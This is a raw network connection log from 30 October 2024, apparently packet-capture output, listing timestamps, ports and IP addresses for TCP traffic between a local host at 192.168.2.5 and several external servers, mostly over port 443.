Oct 30, 2024 18:06:41.176940918 CET	49815	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.179029942 CET	443	49817	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.179162979 CET	443	49817	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.179229021 CET	49817	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.188570023 CET	443	49819	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.188848972 CET	443	49819	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.189050913 CET	49819	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.205105066 CET	443	49818	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.205183983 CET	443	49818	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.205590963 CET	49818	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.235975981 CET	443	49820	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:41.236082077 CET	443	49820	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:41.236188889 CET	49820	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:41.236267090 CET	49820	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:41.254899979 CET	443	49821	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:41.255036116 CET	443	49821	172.64.41.3	192.168.2.5
Oct 30, 2024 18:06:41.255120039 CET	49821	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:41.255157948 CET	49821	443	192.168.2.5	172.64.41.3
Oct 30, 2024 18:06:41.279973030 CET	49818	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.280025959 CET	443	49818	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.280061960 CET	49816	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.280061960 CET	49818	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.280062914 CET	49816	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.280085087 CET	443	49816	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.280107975 CET	443	49818	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.280133009 CET	443	49816	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.282825947 CET	49815	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.282825947 CET	49815	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.282855988 CET	443	49815	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.282870054 CET	443	49815	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.286602020 CET	49817	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.286602974 CET	49817	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.286621094 CET	443	49817	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.286632061 CET	443	49817	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.286734104 CET	49819	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.286741018 CET	443	49819	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.286751032 CET	49819	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.286758900 CET	443	49819	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.299097061 CET	49826	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.299148083 CET	443	49826	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.299226046 CET	49826	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.300682068 CET	49827	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.300719976 CET	443	49827	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.300911903 CET	49828	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.300947905 CET	49827	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.300966978 CET	443	49828	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.301099062 CET	49828	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.301445007 CET	49829	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.301475048 CET	443	49829	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.301574945 CET	49826	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.301594973 CET	49829	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.301595926 CET	443	49826	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.301677942 CET	49829	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.301686049 CET	443	49829	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.301987886 CET	49827	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.301997900 CET	443	49827	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.302077055 CET	49828	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.302103996 CET	443	49828	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.303985119 CET	49830	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.304009914 CET	443	49830	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.304200888 CET	49830	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.304368019 CET	49830	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:41.304382086 CET	443	49830	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:41.397620916 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:41.397844076 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:41.431999922 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:41.432082891 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:41.432337999 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:41.432928085 CET	49832	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:41.432987928 CET	443	49832	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:41.433063984 CET	49832	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:41.434206963 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:41.434220076 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:41.435292959 CET	49832	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:41.435311079 CET	443	49832	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:41.501605034 CET	49833	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:41.501650095 CET	443	49833	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:41.501939058 CET	49834	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:41.501955986 CET	49833	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:41.501986027 CET	443	49834	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:41.502104044 CET	49834	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:41.502552986 CET	49833	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:41.502564907 CET	443	49833	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:41.503118038 CET	49834	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:41.503134966 CET	443	49834	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:41.528879881 CET	443	49811	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.531735897 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:41.537025928 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:41.590629101 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.590650082 CET	443	49811	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.592011929 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.592133999 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.592230082 CET	443	49811	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.592272997 CET	443	49811	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:41.592363119 CET	49811	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:41.732450008 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.732789993 CET	49825	443	192.168.2.5	23.218.232.182
Oct 30, 2024 18:06:41.732844114 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.734325886 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.734401941 CET	49825	443	192.168.2.5	23.218.232.182
Oct 30, 2024 18:06:41.735760927 CET	49825	443	192.168.2.5	23.218.232.182
Oct 30, 2024 18:06:41.735845089 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.736021996 CET	49825	443	192.168.2.5	23.218.232.182
Oct 30, 2024 18:06:41.736035109 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.839622021 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:41.840107918 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:41.840130091 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:41.841150045 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:41.841201067 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:41.844911098 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:41.844974995 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:41.845340014 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:41.845349073 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:41.869184971 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.869220018 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.869250059 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.869262934 CET	49825	443	192.168.2.5	23.218.232.182
Oct 30, 2024 18:06:41.869303942 CET	49825	443	192.168.2.5	23.218.232.182
Oct 30, 2024 18:06:41.870177031 CET	49825	443	192.168.2.5	23.218.232.182
Oct 30, 2024 18:06:41.870203972 CET	443	49825	23.218.232.182	192.168.2.5
Oct 30, 2024 18:06:41.950321913 CET	49835	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.950370073 CET	443	49835	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:41.950494051 CET	49835	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.951226950 CET	49836	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.951268911 CET	443	49836	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:41.951349020 CET	49836	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.951932907 CET	49837	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.951961040 CET	443	49837	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:41.952012062 CET	49837	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.956551075 CET	49838	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.956573009 CET	443	49838	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:41.956620932 CET	49838	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.957139015 CET	49837	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.957154989 CET	443	49837	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:41.957952023 CET	49836	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.957964897 CET	443	49836	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:41.958204031 CET	49835	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.958218098 CET	443	49835	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:41.958395004 CET	49838	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:41.958401918 CET	443	49838	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.036569118 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.036612034 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.036748886 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.036917925 CET	49839	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.036926985 CET	443	49839	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.043114901 CET	443	49828	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.044538975 CET	49828	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.044563055 CET	443	49828	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.045058966 CET	49828	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.045063019 CET	443	49828	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.055336952 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.055417061 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.061317921 CET	443	49830	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.061824083 CET	49830	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.061836958 CET	443	49830	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.062619925 CET	49830	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.062624931 CET	443	49830	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.072928905 CET	443	49826	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.073575974 CET	49826	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.073585987 CET	443	49826	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.074167013 CET	443	49829	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.074182987 CET	49826	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.074187994 CET	443	49826	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.074466944 CET	49829	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.074492931 CET	443	49829	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.075027943 CET	49829	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.075032949 CET	443	49829	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.078202963 CET	443	49827	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.078710079 CET	49827	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.078722954 CET	443	49827	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.079093933 CET	49827	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.079099894 CET	443	49827	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.081110001 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.081130028 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.081145048 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.081192017 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.081204891 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.081238985 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.081254959 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.093986034 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.094014883 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.094050884 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.094058990 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.094098091 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.106579065 CET	443	49834	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:42.106908083 CET	49834	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:42.106940031 CET	443	49834	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:42.107258081 CET	443	49834	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:42.109071970 CET	443	49833	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:42.109605074 CET	49833	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:42.109617949 CET	443	49833	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:42.109922886 CET	443	49833	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:42.109999895 CET	49834	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:42.110053062 CET	443	49834	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:42.110260010 CET	49833	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:42.110306978 CET	443	49833	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:42.172730923 CET	49834	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:42.178514957 CET	443	49828	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.178596020 CET	443	49828	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.178765059 CET	49828	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.178972006 CET	49828	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.178989887 CET	443	49828	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.178999901 CET	49828	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.179004908 CET	443	49828	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.182034969 CET	49840	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.182064056 CET	443	49840	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.182137966 CET	49840	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.182450056 CET	49840	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.182457924 CET	443	49840	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.190891981 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:42.192508936 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:42.192517996 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:42.193548918 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:42.193595886 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:42.195287943 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:42.195343971 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:42.195528030 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:42.195533991 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:42.199441910 CET	443	49830	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.199497938 CET	443	49830	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.199542999 CET	49830	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.199733019 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.199759007 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.199795961 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.199812889 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.199836969 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.199852943 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.200830936 CET	49830	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.200836897 CET	443	49830	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.204317093 CET	49841	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.204344988 CET	443	49841	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.204771042 CET	49841	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.211539984 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.211556911 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.211621046 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.211628914 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.212337971 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.212393045 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.212398052 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.212723017 CET	443	49826	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.212776899 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.212783098 CET	443	49826	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.213154078 CET	49826	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.215163946 CET	443	49829	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.215213060 CET	443	49829	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.216753960 CET	49829	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.220752954 CET	443	49827	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.220801115 CET	443	49827	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.220861912 CET	49827	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.241097927 CET	49826	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.241097927 CET	49826	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.241117954 CET	443	49826	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.241127968 CET	443	49826	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.242222071 CET	49824	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:42.242243052 CET	443	49824	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:42.250278950 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:42.250313044 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:42.250551939 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:42.250957966 CET	49842	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:42.250972033 CET	443	49842	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:42.273473978 CET	49841	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.273540974 CET	443	49841	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.273839951 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:42.285068989 CET	443	49832	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:42.293809891 CET	49832	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:42.293874979 CET	443	49832	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:42.294507027 CET	49833	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:42.294944048 CET	443	49832	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:42.295022964 CET	49832	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:42.296463966 CET	49832	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:42.296574116 CET	443	49832	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:42.296932936 CET	49832	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:42.296960115 CET	443	49832	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:42.300618887 CET	49829	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.300635099 CET	443	49829	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.300712109 CET	49829	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.300717115 CET	443	49829	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.302126884 CET	49827	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.302150965 CET	443	49827	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.309772968 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:42.309942007 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:42.369359016 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:42.369373083 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:42.369435072 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:42.369446039 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:42.369505882 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:42.373637915 CET	49832	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:42.380795956 CET	49843	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.380858898 CET	443	49843	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.380942106 CET	49843	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.383369923 CET	49844	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.383438110 CET	443	49844	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.385124922 CET	49844	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.386368036 CET	49845	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.386429071 CET	443	49845	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.387646914 CET	49843	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.387671947 CET	443	49843	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.387674093 CET	49845	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.388077021 CET	49844	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.388111115 CET	443	49844	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.388530016 CET	49845	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:42.388561010 CET	443	49845	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:42.393269062 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:42.393311024 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:42.393459082 CET	443	49831	131.253.33.203	192.168.2.5
Oct 30, 2024 18:06:42.393512964 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:42.393527985 CET	49831	443	192.168.2.5	131.253.33.203
Oct 30, 2024 18:06:42.475147009 CET	443	49832	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:42.515985966 CET	443	49832	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:42.516088009 CET	49832	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:42.516518116 CET	49832	443	192.168.2.5	20.75.60.91
Oct 30, 2024 18:06:42.516554117 CET	443	49832	20.75.60.91	192.168.2.5
Oct 30, 2024 18:06:42.560496092 CET	443	49837	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.561081886 CET	443	49838	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.566299915 CET	49838	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.566315889 CET	443	49838	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.566589117 CET	49837	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.566612959 CET	443	49837	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.567809105 CET	443	49835	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.567892075 CET	443	49838	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.567966938 CET	49838	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.568249941 CET	443	49837	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.568312883 CET	49837	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.569000959 CET	443	49836	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.569183111 CET	49835	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.569199085 CET	443	49835	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.570223093 CET	49836	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.570230007 CET	443	49836	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.570641041 CET	443	49835	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.570713997 CET	49835	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.571218014 CET	443	49836	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.571310997 CET	49836	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.573509932 CET	49838	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.573596001 CET	443	49838	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.573724031 CET	49837	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.573796034 CET	443	49837	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.577894926 CET	49836	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.577955961 CET	443	49836	23.221.22.206	192.168.2.5
Oct 30, 2024 18:06:42.578169107 CET	49835	443	192.168.2.5	23.221.22.206
Oct 30, 2024 18:06:42.578402996 CET	443	49835	23.221.22.206	192.168.2.5
